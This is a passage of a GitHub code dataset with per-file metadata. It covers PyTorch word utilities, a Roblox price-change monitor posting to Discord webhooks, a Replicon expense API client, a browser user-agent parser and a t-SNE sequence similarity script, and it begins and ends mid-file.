Lang(lang2)\n\n for p in filtered_pairs:\n l1.add_sentence(p[0])\n l2.add_sentence(p[1])\n print(f'{l1.name} : {l1.n_words}')\n print(f'{l2.name} : {l2.n_words}')\n return l1, l2, filtered_pairs\n\n\nclass Lang:\n \"\"\"Helper class to manage index <=> word translation\"\"\"\n\n def __init__(self, name):\n self.name = name\n self.word2index = {}\n self.index2word = {SOS_token: 'SOS', EOS_token: 'EOS'}\n self.word2count = {} # for rare words\n self.n_words = 2\n\n def add_word(self, word):\n if word not in self.word2index:\n self.word2index[word] = self.n_words\n self.index2word[self.n_words] = word\n self.word2count[word] = 1\n self.n_words += 1\n else:\n self.word2count[word] += 1\n\n def add_sentence(self, sentence):\n for word in sentence.split(' '):\n self.add_word(word)\n\n\ndef unicodeToAscii(s):\n return ''.join(\n c for c in unicodedata.normalize('NFD', s)\n if unicodedata.category(c) != 'Mn'\n\n )\n\n\ndef normalizeString(s):\n s = unicodeToAscii(s.lower().strip())\n # adds a space before end of sentance punctuation\n s = re.sub(r\"([.!?])\", r\" \\1\", s)\n # replaces all other punctuation or unusual characters with spaces\n s = re.sub(r\"[^a-zA-Z.!?]+\", r\" \", s)\n return s\n\n\ndef sentence2indexlist(lang, s):\n return [lang.word2index[w] for w in s.split(' ')]\n\n\ndef sentence2tensor(lang, s, device):\n indexes = sentence2indexlist(lang, s)\n indexes.append(EOS_token)\n return torch.tensor(indexes, dtype=torch.long, device=device).view(-1, 1)\n\n\ndef pair2tensors(l1, l2, pair, device):\n input_tensor = sentence2tensor(l1, pair[0], device)\n target_tensor = sentence2tensor(l2, pair[1], device)\n return (input_tensor, target_tensor)\n\n\n\n\ndef timedelta_string(delta_time):\n days = delta_time.days\n hours = delta_time.seconds // 3600\n minutes = delta_time.seconds % 3600 // 60\n seconds = delta_time.seconds % 60 + delta_time.microseconds / 1e6\n return f\"{days:3>}:{hours:02}:{minutes:02}:{seconds:05.2f}\"\n\n", "repo_name": "leobrowning92/fundamental-learning", "sub_path": "pytorch_tutorial/word_utils.py", "file_name": "word_utils.py", "file_ext": "py", "file_size_in_byte": 3329, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "unicodedata.normalize", "line_number": 82, "usage_type": "call"}, {"api_name": "unicodedata.category", "line_number": 83, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 91, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 104, "usage_type": "attribute"}]} {"seq_id": "34956645980", "text": "import requests, random\n\nupdateWebhook = ''\nsignificantWebhook = ''\n\nclass Bot:\n\n def __init__(self, proxies):\n self.proxies = proxies\n self.rap = self.rapDict()\n self.constants()\n\n def rapDict(self):\n cursor, arr = '', {}\n while cursor != None:\n try:\n resp = requests.get(\n f'https://inventory.roblox.com/v1/users/1/assets/collectibles?sortOrder=Asc&limit=100&cursor={cursor}',\n proxies = {'https': f'http://{random.choice(self.proxies)}'}, timeout = 5\n ).json()\n for item in resp['data']:\n arr[str(item['assetId'])] = item['recentAveragePrice']\n cursor = resp['nextPageCursor']\n except:\n pass\n return arr\n\n def constants(self):\n while True:\n cursor = ''\n while cursor != None:\n try:\n resp = requests.get(\n f'https://inventory.roblox.com/v1/users/1/assets/collectibles?sortOrder=Asc&limit=100&cursor={cursor}',\n proxies = {'https': f'http://{random.choice(self.proxies)}'}, timeout = 5\n ).json()\n for item in resp['data']:\n assetId = str(item['assetId'])\n if assetId in self.rap:\n currentRap, previousRap = item['recentAveragePrice'], self.rap[assetId]\n if currentRap != previousRap:\n self.sendWebhook(assetId, item['name'], currentRap, previousRap, round(previousRap - ((previousRap-currentRap)*10)))\n self.rap[assetId] = currentRap\n cursor = resp['nextPageCursor']\n except:\n pass\n\n def grabImage(self, assetId):\n while True:\n try:\n resp = requests.get(\n f'https://thumbnails.roblox.com/v1/assets?assetIds={assetId}&returnPolicy=0&size=250x250&format=Png&isCircular=false',\n proxies = {'https': f'http://{random.choice(self.proxies)}'}, timeout = 3\n ).json()\n if 'data' in resp:\n return resp['data'][0]['imageUrl']\n except:\n pass\n\n def sendWebhook(self, assetId, assetName, currentRap, previousRap, salePrice):\n if previousRap*0.5 < salePrice < previousRap*2: webhook = updateWebhook\n else: webhook = significantWebhook\n if previousRap < currentRap: color = '1DC321'\n else: color = 'C31D1D'\n\n requests.post(\n webhook,\n json = {\n 'embeds': [{\n 'author': {\n 'name': f'{assetName}',\n 'url': f'https://www.rolimons.com/item/{assetId}'\n },\n 'thumbnail': {\n 'url': self.grabImage(assetId)\n },\n 'fields': [\n {'name': 'Old RAP', 'value': f'{\"{:,}\".format(previousRap)}', 'inline':True},\n {'name': 'New RAP', 'value': f'{\"{:,}\".format(currentRap)}', 'inline':True},\n {'name': 'Sale Price', 'value': f'{\"{:,}\".format(salePrice)}', 'inline':True},\n ],\n 'color': int(color,16)\n }\n ]}\n )\n\nBot(\n open('proxies.txt').read().splitlines()\n)\n", "repo_name": "zentred/roblox-market-activity", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3524, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "requests.get", "line_number": 17, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 19, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 33, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 35, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 51, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 53, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 66, "usage_type": "call"}]} {"seq_id": "20489621624", "text": "# -*- coding: utf-8 -*-\nimport csv\nimport logging\nimport time\nimport urllib.error\nimport urllib.parse\nimport urllib.request\nfrom datetime import datetime\n\nimport requests\nimport simplejson as json\n\nlogging.basicConfig(level=logging.NOTSET)\nlogger = logging.getLogger(__name__)\n\n\nclass Replicon:\n def __init__(\n self,\n company=\"logicinfo\",\n userid=\"tweidman\",\n token=None,\n project_cc=2058,\n expenseSlug=None,\n description=\"Created by TW: Change this desc\",\n isExpense=True,\n ):\n if token is None or token.__len__() == 0:\n raise Exception(\n \"Token cannot be null, please follow instructions to generate it!\"\n )\n self.company = company\n self.userid = userid\n self.token = token\n self.expenseSlug = expenseSlug\n self.description = description\n self.EXPENSE_STATUS_OPEN = \"urn:replicon:approval-status:open\"\n self.replicon_total = 0\n\n # get user server url\n url = \"https://global.replicon.com/DiscoveryService1.svc/GetUserIntegrationDetails\"\n data = {\"companyKey\": self.company, \"loginName\": self.userid, \"targetUrl\": \"\"}\n jsonresponse = self.__post_to_url(url, data)\n\n self.serviceUrl = jsonresponse[\"d\"][\"serviceEndpointRootUrl\"]\n\n # get user uri\n url = self.serviceUrl + \"UserService1.svc/GetUriFromSlug\"\n data = {\"userSlug\": self.userid}\n jsonresponse = self.__post_to_url(url, data)\n\n self.useruri = jsonresponse[\"d\"]\n\n if isExpense:\n # get expense status\n if self.expenseSlug is not None:\n # Get expense sheet uri to edit it\n url = self.serviceUrl + \"ExpenseService1.svc/GetUriFromExpenseSheetSlug\"\n data = {\"expenseSheetSlug\": self.expenseSlug}\n jsonresponse = self.__post_to_url(url, data)\n self.expenseUri = jsonresponse[\"d\"]\n\n # Get expense sheet status\n url = (\n self.serviceUrl\n + \"ExpenseApprovalService1.svc/GetExpenseSheetApprovalDetails\"\n )\n data = {\"expenseUri\": self.expenseUri}\n jsonresponse = self.__post_to_url(url, data)\n self.expenseStatus = jsonresponse[\"d\"][\"approvalStatus\"][\"uri\"]\n\n else:\n self.create_new_expense(description)\n self.expenseStatus = \"urn:replicon:approval-status:open\"\n\n # get project uri\n self.set_project_uri_from_cc(project_cc, self.expenseUri)\n\n def __get_from_url(self, url):\n headers = {\n \"content-type\": \"application/json\",\n \"X-Replicon-Application\": \"repl_uploader\",\n \"Authorization\": f\"Bearer {self.token}\",\n }\n response = requests.get(\n url, headers=headers, proxies=urllib.request.getproxies()\n )\n logger.debug(\"get_from_url %s / %s\", url, response)\n if response.ok:\n json_response = json.loads(response.text)\n else:\n try:\n response.raise_for_status()\n except requests.exceptions.HTTPError as e:\n content = json.loads(e.response.content)\n if content[\"error\"][\"reason\"].__eq__(\"Identifier not found.\"):\n raise Exception(\"Replicon Number Does Not Exist!\")\n else:\n raise Exception(\"%s\" % (content[\"error\"][\"reason\"]))\n return json_response\n\n def __post_to_url(self, url, data):\n headers = {\n \"content-type\": \"application/json\",\n \"X-Replicon-Application\": \"repl_uploader\",\n \"Authorization\": f\"Bearer {self.token}\",\n }\n\n response = requests.post(\n url,\n data=json.dumps(data),\n headers=headers,\n proxies=urllib.request.getproxies(),\n )\n logger.debug(\"post_to_url %s / %s / %s\", url, json.dumps(data), response)\n if response.ok:\n json_response = json.loads(response.text)\n else:\n try:\n response.raise_for_status()\n except requests.exceptions.HTTPError as e:\n content = json.loads(e.response.content)\n if content[\"error\"][\"reason\"].__eq__(\"Identifier not found.\"):\n raise Exception(\"Replicon Number Does Not Exist!\")\n else:\n raise Exception(\"%s\" % (content[\"error\"][\"reason\"]))\n return json_response\n\n def create_new_expense(self, description=\"Created by TW: Change this desc\"):\n self.description = description\n url = self.serviceUrl + \"ExpenseService1.svc/CreateNewExpenseSheetDraft\"\n data = {\"ownerUri\": self.useruri}\n jsonresponse = self.__post_to_url(url, data)\n\n draft_uri = jsonresponse[\"d\"]\n\n url = self.serviceUrl + \"ExpenseService1.svc/UpdateExpenseSheetDescription\"\n data = {\"expenseSheetUri\": draft_uri, \"description\": description}\n jsonresponse = self.__post_to_url(url, data)\n\n url = self.serviceUrl + \"ExpenseService1.svc/PublishExpenseSheetDraft\"\n data = {\"draftUri\": draft_uri}\n jsonresponse = self.__post_to_url(url, data)\n self.expenseUri = jsonresponse[\"d\"][\"uri\"]\n\n def add_expense_entries(self, entriesList=None, currency=\"9\"):\n data_header = {\n \"parameter\": {\n \"target\": {\"uri\": self.expenseUri},\n \"owner\": {\"uri\": self.useruri},\n \"date\": {\n \"year\": time.strftime(\"%Y\"),\n \"month\": time.strftime(\"%m\"),\n \"day\": time.strftime(\"%d\"),\n },\n \"description\": self.description,\n \"reimbursementCurrency\": {\n \"uri\": \"urn:replicon-tenant:logicinfo-ref:currency:%s\" % (currency)\n },\n \"entries\": [],\n \"noticeExplicitlyAccepted\": \"true\",\n }\n }\n data_header[\"parameter\"][\"entries\"] = entriesList\n url = self.serviceUrl + \"ExpenseService1.svc/PutExpenseSheet\"\n jsonresponse = self.__post_to_url(url, data_header)\n logger.debug(\"=====> %s \", json.dumps(jsonresponse))\n self.replicon_total = sum(\n [\n float(\n jsonresponse[\"d\"][\"entries\"][a][\"expenseEntry\"][\n \"reimbursementAmount\"\n ][\"amount\"]\n )\n for a in range(len(jsonresponse[\"d\"][\"entries\"]))\n ]\n )\n\n def get_new_entry(\n self,\n entry_desc=\"taxi\",\n project_cc=\"2084\",\n date=datetime.today(),\n expense_code=\"6\",\n currency=\"9\",\n amount=\"1.22\",\n bill_client=\"Yes\",\n reimburse_emp=\"Yes\",\n mime_type=None,\n base64_file=None,\n ):\n bclient = (\n \"urn:replicon:expense-billing-option:bill-to-client\"\n if bill_client == \"Yes\"\n else \"urn:replicon:expense-billing-option:not-billed\"\n )\n remp = (\n \"urn:replicon:expense-reimbursement-option:reimburse-employee\"\n if reimburse_emp == \"Yes\"\n else \"urn:replicon:expense-reimbursement-option:not-reimbursed\"\n )\n recpt = (\n {\n \"target\": None,\n \"image\": {\"base64ImageData\": base64_file, \"mimeType\": mime_type},\n }\n if base64_file is not None\n else None\n )\n\n entry = {\n \"target\": None,\n \"incurredDate\": {\"year\": date.year, \"month\": date.month, \"day\": date.day},\n \"description\": entry_desc,\n \"expenseBillingOptionUri\": bclient,\n \"expenseReimbursementOptionUri\": remp,\n \"project\": {\"uri\": \"%s\" % (self.project_uri)},\n \"expenseCode\": {\n \"uri\": \"urn:replicon-tenant:logicinfo-ref:expense-code:%s\"\n % (expense_code)\n },\n \"flatAmountEntry\": {\n \"incurredAmountNet\": {\n \"amount\": \"%s\" % (amount),\n \"currency\": {\n \"uri\": \"urn:replicon-tenant:logicinfo-ref:currency:%s\"\n % (currency)\n },\n }\n },\n \"expenseReceipt\": recpt,\n }\n return entry\n\n def set_project_uri_from_cc(\n self,\n project_cc=2058,\n expense_uri=\"urn:replicon-tenant:logicinfo-ref:expense-sheet:93532\",\n ):\n url = (\n self.serviceUrl\n + \"ExpenseService1.svc/GetPageOfProjectsAvailableForExpenseEntryFilteredByClientAndTextSearch\"\n )\n data = {\n \"page\": 1,\n \"pageSize\": 10,\n \"expenseSheetUri\": expense_uri,\n \"textSearch\": {\n \"queryText\": \"({})\".format(project_cc),\n \"searchInDisplayText\": True,\n },\n }\n jsonresponse = self.__post_to_url(url, data)\n try:\n self.project_uri = jsonresponse[\"d\"][0][\"project\"][\"uri\"]\n except IndexError:\n raise Exception(\n \"Project {} does not exist or you don`t have access to it.\".format(\n project_cc\n )\n )\n\n def generate_report(self, reportUri):\n url = self.serviceUrl + \"ReportService1.svc/GenerateReport\"\n data = {\n \"reportUri\": reportUri,\n \"filterValues\": [],\n \"outputFormatUri\": \"urn:replicon:report-output-format-option:csv\",\n }\n logger.debug(\"Generating report: %s\" % (reportUri))\n jsonresponse = self.__post_to_url(url, data)\n # Fix euro sign problem encoding the string to utf-8\n # excluded encode: when moved to py3 this part was receiving a byte/string conflict error\n report_string = jsonresponse[\"d\"][\"payload\"] # .encode('utf-8')\n csv_report = csv.reader(report_string.split(\"\\r\\n\")[:-1])\n return list(csv_report)\n\n\nif __name__ == \"__main__\" or __name__ == \"__builtin__\":\n repl = Replicon(\"logicinfo\", \"tweidman\", \"token\", 2107)\n # repl = Replicon('logicinfo', 'tweidman', 'Token', 2058, description='Teste')\n #\n # print repl.useruri\n #\n # print repl.expenseUri\n # date = datetime.strptime('21/05/2017', '%d/%m/%Y')\n # entries = [repl.get_new_entry('taxi', '2084', date, '6', '9', '4.56'),\n # repl.get_new_entry('taxi2', '2084', date, '6', '9', '2.56'),\n # repl.get_new_entry('taxi3', '2084', date, '6', '9', '1.56'),\n # repl.get_new_entry('taxi4', '2084', date, '6', '9', '34.56'),\n # repl.get_new_entry('taxi5', '2084', date, '6', '9', '24.56')]\n # repl.add_expense_entries(entries)\n # repl.get_details()\n # print repl.replicon_total\n", "repo_name": "thig0w/replicon", "sub_path": "repl_uploader/replicon.py", "file_name": "replicon.py", "file_ext": "py", "file_size_in_byte": 10917, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.basicConfig", "line_number": 13, "usage_type": "call"}, {"api_name": "logging.NOTSET", "line_number": 13, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 85, "usage_type": "call"}, {"api_name": "urllib.error.request.getproxies", "line_number": 86, "usage_type": "call"}, {"api_name": "urllib.error.request", "line_number": 86, "usage_type": "attribute"}, {"api_name": "urllib.error", "line_number": 86, "usage_type": "name"}, {"api_name": "simplejson.loads", "line_number": 90, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 94, "usage_type": "attribute"}, {"api_name": "simplejson.loads", "line_number": 95, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 109, "usage_type": "call"}, {"api_name": "simplejson.dumps", "line_number": 111, "usage_type": "call"}, {"api_name": "urllib.error.request.getproxies", "line_number": 113, "usage_type": "call"}, {"api_name": "urllib.error.request", "line_number": 113, "usage_type": "attribute"}, {"api_name": "urllib.error", "line_number": 113, "usage_type": "name"}, {"api_name": "simplejson.dumps", "line_number": 115, "usage_type": "call"}, {"api_name": "simplejson.loads", "line_number": 117, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 121, "usage_type": "attribute"}, {"api_name": "simplejson.loads", "line_number": 122, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 152, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 153, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 154, "usage_type": "call"}, {"api_name": "simplejson.dumps", "line_number": 167, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 183, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 183, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 275, "usage_type": "call"}]} {"seq_id": "1069381824", "text": "#!/usr/bin/python2.5\n\nimport csv\nimport logging\nimport re\n\nimport django\nfrom django import http\n\n\nclass PartParser(object):\n \"\"\"User Agent substring parser.\"\"\"\n\n PATTERN_STRING_TEMPLATE = r'(%s)/(\\S+)'\n ENDING_RE = r'(?:\\s+|\\s*$)'\n\n def __init__(self, pattern_string=None, pattern=None, priority=0, **kwds):\n if pattern is None:\n pattern = self.PATTERN_STRING_TEMPLATE % pattern_string\n if self.ENDING_RE:\n pattern += self.ENDING_RE\n self.pattern_re = re.compile(pattern)\n self.kwds = kwds\n self.priority = priority\n\n def Parse(self, parts, string):\n end = None\n match = self.pattern_re.match(string)\n if match:\n for key, value in self.kwds.items():\n if not isinstance(value, bool) and isinstance(value, int):\n value = match.group(value)\n if value:\n parts.setdefault(key, [])\n parts[key].append((self.priority, value))\n end = match.end()\n #logging.warn('end:%s,rest:%s', end, string[end:])\n return end\n\n\nclass ProductParser(PartParser):\n \"\"\"Product part parser.\"\"\"\n\n GROUPS = ('product', 'product_version')\n\n def __init__(self, pattern_string=None, pattern=None, **kwds):\n for index, key in enumerate(self.GROUPS):\n if key not in kwds:\n kwds[key] = index + 1\n PartParser.__init__(self, pattern_string, pattern, **kwds)\n\n\nclass RendererParser(ProductParser):\n \"\"\"Renderer part parser.\"\"\"\n\n GROUPS = ('renderer', 'renderer_version')\n\n\nclass CommentParser(PartParser):\n \"\"\"Comment part parser.\"\"\"\n\n PATTERN_STRING_TEMPLATE = r'%s'\n ENDING_RE = '(?:;\\s+|\\s*(?=[\\(\\)]))'\n\n\nPRODUCT_PARSERS = (\n ProductParser('Mozilla', product=None, product_version=None),\n ProductParser('Safari', product_version=None, priority=-5),\n ProductParser('Firefox', priority=-3),\n ProductParser('Chrome'),\n ProductParser('Camino'),\n ProductParser(pattern=r'(Opera)[ /](\\S+)'),\n ProductParser('SeaMonkey'),\n ProductParser('Minefield', product='Firefox', product_codename='Minefield'),\n ProductParser('Shiretoko', product='Firefox', product_codename='Shiretoko'),\n ProductParser('Lunascape'),\n ProductParser('Version', product=None, priority=10),\n ProductParser('Iceweasel'),\n ProductParser('NetNewsWire'),\n ProductParser('K-Meleon'),\n ProductParser('Arora'),\n ProductParser(pattern=r'(BlackBerry\\d+)/(\\S+)', product='RIM', platform=1, product_version=2),\n RendererParser('Gecko', renderer_version=None, renderer_date=2),\n RendererParser('AppleWebKit'),\n RendererParser('KHTML'),\n RendererParser('WebKit'),\n RendererParser('Trident'),\n RendererParser('Presto'),\n PartParser('Ubuntu', os=1, os_version=2),\n PartParser('Mobile', iphone_build_number=2),\n PartParser(pattern=r'(\\S+)', unknown_product=1),\n # iCab for iCab 3 and before?\n )\n\nCOMMENT_PARSERS = (\n # name, pattern\n CommentParser(pattern=r'(Android)\\ (\\d[\\d.]+)', platform=1, product=1, product_version=2, priority=15),\n CommentParser(pattern=r\"\"\"(?x)(\n Windows\n | Macintosh\n | X11\n | FreeBSD\n | iPod\n | iPhone\\ Simulator\n | Linux\n )\"\"\", platform=1),\n CommentParser('iPhone', platform='iPhone', product='iPhone'),\n CommentParser('Win3.11', os='Windows 3.11'),\n CommentParser('WinNT3.51', os='Windows NT 3.51'),\n CommentParser('WinNT4.0', os='Windows NT 4.0'),\n CommentParser('Windows NT 4.0', os='Windows NT 4.0'),\n CommentParser('Windows NT 5.01', os='Windows 2000, Service Pack 1 (SP1)'),\n CommentParser('Windows NT 5.0', os='Windows 2000'),\n CommentParser('Windows NT 5.1', os='Windows XP'),\n CommentParser('Windows NT 5.2', os='Windows Server 2003; Windows XP x64 Edition'),\n CommentParser('Windows NT 6.0', os='Windows Vista'),\n CommentParser('Windows NT 6.1', os='Windows 7; Windows Server 2008 R2'),\n CommentParser('Windows 98; Win 9x 4.90', os='Windows Millennium Edition (Windows Me)'),\n CommentParser('Windows 98', os='Windows 98'),\n CommentParser('Win98', os='Windows 98'),\n CommentParser('Windows 95', os='Windows 95'),\n CommentParser('Win95', os='Windows 95'),\n CommentParser('Win 9x 4.90', os='Windows ME'),\n CommentParser('Windows CE', os='Windows CE'),\n CommentParser('WindowsCE', os='Windows CE'),\n CommentParser(pattern=r\"\"\"(?x)(\n | (?:Intel|PPC)\\ Mac\\ OS\\ X(?:\\ (?:\\d[\\d_.]+|Mach-O))?\n | CPU\\ (?:iPhone\\ OS\\ \\d[\\d_]+\\ )?like\\ Mac\\ OS\\ X\n | Linux\\ (?:i686(?:\\ \\(x86_64\\))?|x86_64|armv[67]l)\n | FreeBSD\\ (?:i386|7)\n | OpenBSD\\ (?:i386|amd64)\n | SunOS\\ i86pc\n )\"\"\", os=1),\n CommentParser('N', security='No security'),\n CommentParser('U', security='Strong security'),\n CommentParser('I', security='Weak security'),\n CommentParser('US_en', language='en-US'),\n CommentParser(pattern=r\"\"\"(?x)(\n [a-z][a-z](?:[-_][a-zA-Z]{2,3})?\n | ja-JP-mac\n | en-US-Hixie\n )\"\"\", language=1),\n CommentParser(pattern=r'^rv:([^;\\s]+)', renderer_version=1),\n CommentParser('dream', platform='HTC G1'),\n CommentParser('generic', platform='Android SDK emulator'),\n CommentParser('compatible', is_compatible=True),\n CommentParser(pattern=r'^(\\.NET CLR \\d[.\\d]+)', platform=1),\n CommentParser(pattern=r'^MSIE ([.\\d]+)', product='IE', product_version=1, priority=-3),\n CommentParser('WOW64', platform='32-bit application running on 64-bit processor'), # IE only?\n CommentParser('Win64; x64', cpu='64-bit processor (AMD)'),\n CommentParser('Win64; IA64', cpu='64-bit processor (Intel)'),\n CommentParser('Tablet PC', platform='Tablet services are installed'),\n CommentParser('SV1', security='IE 6 with enhanced security features'),\n CommentParser('Avant Browser', product='Avant', product_version='1', priority=5), # version is bogus; should this be IE instead?\n ProductParser('ANTGalio'),\n CommentParser(pattern='([^;\\(\\)]+)', unknown_comment=1),\n )\n\nMSIE_RE = re.compile(r\"\"\"(?x)\n ^Mozilla/4\\.0\\ \\(\n compatible;\\ MSIE\\\n (?P[^;]+)\n ;\\ (?P[^;]+)\n (?:;\\ ([^;]+))?\n (?:;[^;]*)*\n \\)\n (?:\\ (?P[^/\\s]+)[/\\s]\n (?Pv?\\d+[\\.\\w]*))?\n \"\"\")\n\n\nclass UserAgent(object):\n def __init__(self, string):\n self.string = string\n self.parts = {}\n\n def TopPart(self, part_key):\n value = None\n if part_key in self.parts:\n value = sorted(self.parts[part_key], reverse=True)[0][1]\n return value\n\n def Parse(self):\n pos = 0\n comment_level = 0\n while pos < len(self.string):\n if self.string[pos] == ' ':\n pos += 1\n continue\n if self.string[pos] == '(':\n pos += 1\n comment_level += 1\n continue\n if self.string[pos] == ')':\n pos += 1\n comment_level -= 1\n continue\n if comment_level == 0:\n parsers = PRODUCT_PARSERS\n else:\n parsers = COMMENT_PARSERS\n #logging.warn(\"%s: '%s'\", comment_level, self.string[pos:])\n for comment_parser in parsers:\n parts = self.parts\n if comment_level > 1:\n parts = self.parts.setdefault('nested_comment', {})\n end = comment_parser.Parse(parts, self.string[pos:])\n if end:\n #logging.warn('Matched: %s', pos)\n pos += end\n break\n else:\n break\n self.matched = self.string[:pos]\n self.unmatched = self.string[pos:]\n\ndef ParseTest(request):\n ua_file = open('test/ua.csv')\n #ua_file = open('test/ua_sample.csv')\n data = list(csv.DictReader(\n ua_file, fieldnames=[\"pbrowser\",\"browser\",\"v1\",\"v2\",\"v3\",\"useragent\"]))\n content = []\n for row in data:\n browser = row['pbrowser']\n ua = UserAgent(row['useragent'])\n ua.Parse()\n\n browser_parts = []\n product = ua.TopPart('product')\n if product:\n browser_parts.append(product)\n codename = ua.TopPart('product_codename')\n if codename:\n browser_parts.append('(%s)' % codename)\n version = ua.TopPart('product_version')\n if version:\n browser_parts.append(version)\n browser_new = ' '.join(browser_parts)\n if not browser_new.startswith(browser):\n content.append('%s ' % browser)\n content.append('%s%s
'\n % (ua.matched, ua.unmatched))\n content.append('%s ' % browser_new)\n content.append(' %s

' % str(ua.parts))\n return http.HttpResponse(''.join(content))\n", "repo_name": "elsigh/browserscope", "sub_path": "models/ua.py", "file_name": "ua.py", "file_ext": "py", "file_size_in_byte": 8433, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 19, "dataset": "github-code", "pt": "7", "api": [{"api_name": "re.compile", "line_number": 22, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 159, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 220, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 245, "usage_type": "call"}, {"api_name": "django.http", "line_number": 245, "usage_type": "name"}]} {"seq_id": "74923756383", "text": "# Sequence Similarity Network as in Fig. 3\n# Author: Paul Zurek (pjz26@cam.ac.uk)\n# Date: 17/07/2020\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport pandas as pd\nfrom sklearn.manifold import TSNE\n\n\n#Load in count data containing the mutations of each variant\ncountdata = pd.read_csv(\"Zurek_Supplementary_Data.csv\")\n#Generate list of mutations from the strings\nmutations_lst = [muts.split(\" \") for muts in countdata[\"Mutations\"][1:]]\nmutations_lst.insert(0,[]) #Handle WT\n\n#### Generate tSNE\nREBUILD = False #Rebuild the tSNE from scratch or use the coordinates from Fig. 3?\n\nif REBUILD:\n #Distance function for tSNE\n def list_distance(l1, l2):\n diffs = set(l1).symmetric_difference(set(l2))\n return len(diffs)\n\n #Calculate distance matrix\n print(\"Calculating distance matrix...\")\n DM = [[0 for j in range(len(mutations_lst))] for i in range(len(mutations_lst))]\n for i in range(len(mutations_lst)):\n for j in range(len(mutations_lst)):\n DM[i][j] = list_distance(mutations_lst[i], mutations_lst[j])\n print(\"Row %d of %d\" % (i+1, len(mutations_lst)), end=\"\\r\")\n DM = pd.DataFrame(DM)\n print(\" \")\n print(\"Distance matrix generated\")\n\n #tSNE\n tsne = TSNE(n_components=2, metric=\"precomputed\", verbose=1, perplexity=30, learning_rate=200)\n Xtsne = tsne.fit_transform(DM)\n np.save(\"tSNE_coordinates.npy\", Xtsne)\n print(\"tSNE done and coordinates saved\")\nelse:\n Xtsne = np.load(\"tSNE_coordinates.npy\")\n\n\n\n#Which round did the sequence first emerge\nconditions = [(countdata[\"R1\"] > 0), ((countdata[\"R2\"] > 0) & (countdata[\"R1\"] == 0)), ((countdata[\"R3\"] > 0) & (countdata[\"R1\"] == 0) & (countdata[\"R2\"] == 0))]\nchoices = [1, 2, 3]\ncountdata[\"whichround\"] = np.select(conditions, choices, default=0)\ncountdata[\"roundcolor\"] = np.select(conditions, [\"#2c7bb6\",\"#ffffbf\",\"#d7191c\"], default=\"black\")\n\n#Calculate total count\ncountdata[\"totalcount\"] = countdata[\"R1\"] + countdata[\"R2\"] + countdata[\"R3\"]\n\n#Plot tSNE by round\nplt.figure(figsize=(7,6))\nplt.scatter(Xtsne[:,0], Xtsne[:,1], s=6, c=countdata[\"roundcolor\"], edgecolors=\"k\", linewidths=0.3) \nplt.scatter(Xtsne[0,0], Xtsne[0,1], s=100, c=\"#2ca25f\", edgecolors=\"k\", linewidths=0.3)\nplt.axis('off')\nplt.savefig(\"tSNE_by-round.png\", bbox_inches=\"tight\")\n\n### Finding interesting variants\n#Find interesting variants by count\nprint(\"\\n\\nHigh count variants\")\ncountdata[\"Mutations\"][0] = \"WT\" #Account for WT, otherwise will be dropped by .dropna\nhighvars = countdata.where(countdata[\"totalcount\"] > 10).dropna() \nprint(highvars)\n\n#Find interesting variant by location\ntarget = ((14,0), (26,10)) #(x1, y1) (x2, y2) of rectangle target box\nprint(f\"\\n\\nLocation variants in box {target}\")\nfor i in range(len(mutations_lst)):\n if target[0][0] < Xtsne[i,0] < target[1][0] and target[0][1] < Xtsne[i,1] < target[1][1]:\n if countdata[\"totalcount\"][i] > 0:\n print(\"%d: %s\" % (countdata[\"totalcount\"][i], countdata[\"Mutations\"][i]))\n\n\n#### Coloring by founder mutation\nfounder_colors = [\"white\" for _ in range(len(mutations_lst))]\nfor i in range(len(mutations_lst)): #Order here is important, stops with first condition that is true, so larger sets first\n mut = mutations_lst[i]\n if set([\"A64E\", \"R102S\", \"D308V\"]).issubset(mut):\n #print(\"%d: %s\" % (countdata[\"totalcount\"][i], \" \".join(mut)))\n founder_colors[i] = \"#ff7f00\" #dark yellow\n elif set([\"A64E\", \"R102S\", \"E323V\"]).issubset(mut):\n #print(\"%d: %s\" % (countdata[\"totalcount\"][i], \" \".join(mut)))\n founder_colors[i] = \"#e31a1c\" #dark red\n elif set([\"A64E\", \"R102S\"]).issubset(mut):\n #print(\"%d: %s\" % (countdata[\"totalcount\"][i], \" \".join(mut)))\n founder_colors[i] = \"#fb9a99\" #light red\n elif set([\"P119Q\", \"D308V\"]).issubset(mut):\n #print(\"%d: %s\" % (countdata[\"totalcount\"][i], \" \".join(mut)))\n founder_colors[i] = \"#1f78b4\" #dark blue\n elif set([\"R102S\", \"E323V\"]).issubset(mut):\n #print(\"%d: %s\" % (countdata[\"totalcount\"][i], \" \".join(mut)))\n founder_colors[i] = \"#fdbf6f\" #light yelow\n elif set([\"E323V\", \"P119Q\"]).issubset(mut):\n #print(\"%d: %s\" % (countdata[\"totalcount\"][i], \" \".join(mut)))\n founder_colors[i] = \"#33a02c\" 